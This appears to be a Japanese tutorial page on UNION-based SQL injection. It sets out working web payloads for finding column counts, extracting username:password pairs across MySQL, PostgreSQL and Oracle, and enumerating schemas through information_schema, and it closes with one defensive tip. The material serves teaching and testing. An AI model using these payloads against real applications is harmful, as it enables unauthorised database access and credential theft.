UNION ベース - UNION ベース SQL インジェクション
UNION句を使って別テーブルのデータを結合し、本来アクセスできないデータを取得する手法。
概念図
UNION ベース攻撃の前提と基本形
UNION ベース SQL インジェクションは、既存の SELECT クエリに UNION SELECT 句を連結し、別テーブルの結果を同じレスポンスに紛れ込ませる手法である。
成立には画面上に元クエリの結果が表示されること(いわゆる in-band 型)が前提となる。
| 前提条件 | 説明 |
|---|---|
| 元クエリが SELECT 文 | INSERT / UPDATE では UNION は使えない |
| 結果がレスポンスに表示される | 一覧画面・詳細画面など |
| カラム数が一致している | UNION は左右のカラム数を揃える必要がある |
| データ型に互換性がある | 各カラムの型が合わない場合は NULL や CAST で調整 |
典型的な脆弱クエリと攻撃ペイロードは以下のとおりである。
-- 脆弱なクエリ(商品検索)
SELECT id, name, price FROM products WHERE id = $id
-- 攻撃ペイロード($id に注入)
1 UNION SELECT username, password, NULL FROM users--
-- 実際に実行される SQL
SELECT id, name, price FROM products WHERE id = 1
UNION SELECT username, password, NULL FROM users--
結果として商品一覧に users テーブルの認証情報が混ざって表示される。
カラム数と型の特定テクニック
UNION を成立させるには、攻撃者はまず元クエリのカラム数とレスポンスに表示される位置、各カラムの型を知る必要がある。
代表的な特定手順は次のとおりである。
| 手順 | 目的 | ペイロード例 |
|---|---|---|
ORDER BY 数増加 |
カラム数を特定する | 1 ORDER BY 1--, 1 ORDER BY 2-- ... エラーが出た直前の値がカラム数 |
| NULL パディング | カラム数とデータ型互換を確認 | 1 UNION SELECT NULL,NULL,NULL-- |
| マーカー挿入 | 表示される位置を特定 | 1 UNION SELECT 1,2,3-- → 画面上に "2" が表示されれば 2 番目のカラムが可視 |
| 型確認 | 文字列カラムを探す | 1 UNION SELECT NULL,'test',NULL-- |
表示可能なカラムが特定できたら、そこにデータ抽出用の式を埋め込む。
複数カラムを 1 つに集約したい場合は文字列連結を使う。
-- MySQL: CONCAT で複数カラムをまとめる
1 UNION SELECT NULL, CONCAT(username,0x3a,password), NULL FROM users--
-- PostgreSQL: || 演算子
1 UNION SELECT NULL, username || ':' || password, NULL FROM users--
-- Oracle: || 演算子 + FROM DUAL が必要
1 UNION SELECT NULL, username || ':' || password, NULL FROM users--
information_schema を使ったスキーマ列挙
攻撃者が最初から users テーブルの存在を知っているとは限らない。
そこで多くの RDBMS が提供するメタデータビュー(information_schema)を使って、テーブル名やカラム名を列挙する段階が発生する。
| DB | メタデータの場所 | 用途 |
|---|---|---|
| MySQL / MariaDB | information_schema.tables / columns |
テーブル一覧・カラム一覧 |
| PostgreSQL | information_schema.tables / columns, pg_catalog.pg_tables |
同上 |
| MSSQL | information_schema.tables / columns, sys.tables |
同上 |
| Oracle | ALL_TABLES, ALL_TAB_COLUMNS |
information_schema は無く Oracle 独自 |
典型的な列挙ペイロードを示す。
-- テーブル名を列挙
1 UNION SELECT NULL, table_name, NULL FROM information_schema.tables
WHERE table_schema = DATABASE()--
-- 特定テーブルのカラム名を列挙
1 UNION SELECT NULL, column_name, NULL FROM information_schema.columns
WHERE table_name = 'users'--
-- 全行を1レコードに集約(MySQL GROUP_CONCAT)
1 UNION SELECT NULL, GROUP_CONCAT(table_name SEPARATOR ','), NULL
FROM information_schema.tables WHERE table_schema = DATABASE()--
この列挙により、攻撃者は DB 構造を再現し、次の段階として機微データを含むテーブル(認証情報、決済情報、個人情報等)を優先的に狙う。
DB ユーザーに information_schema への読み取り権限が不要であれば剥奪することで、列挙難易度を高められる。
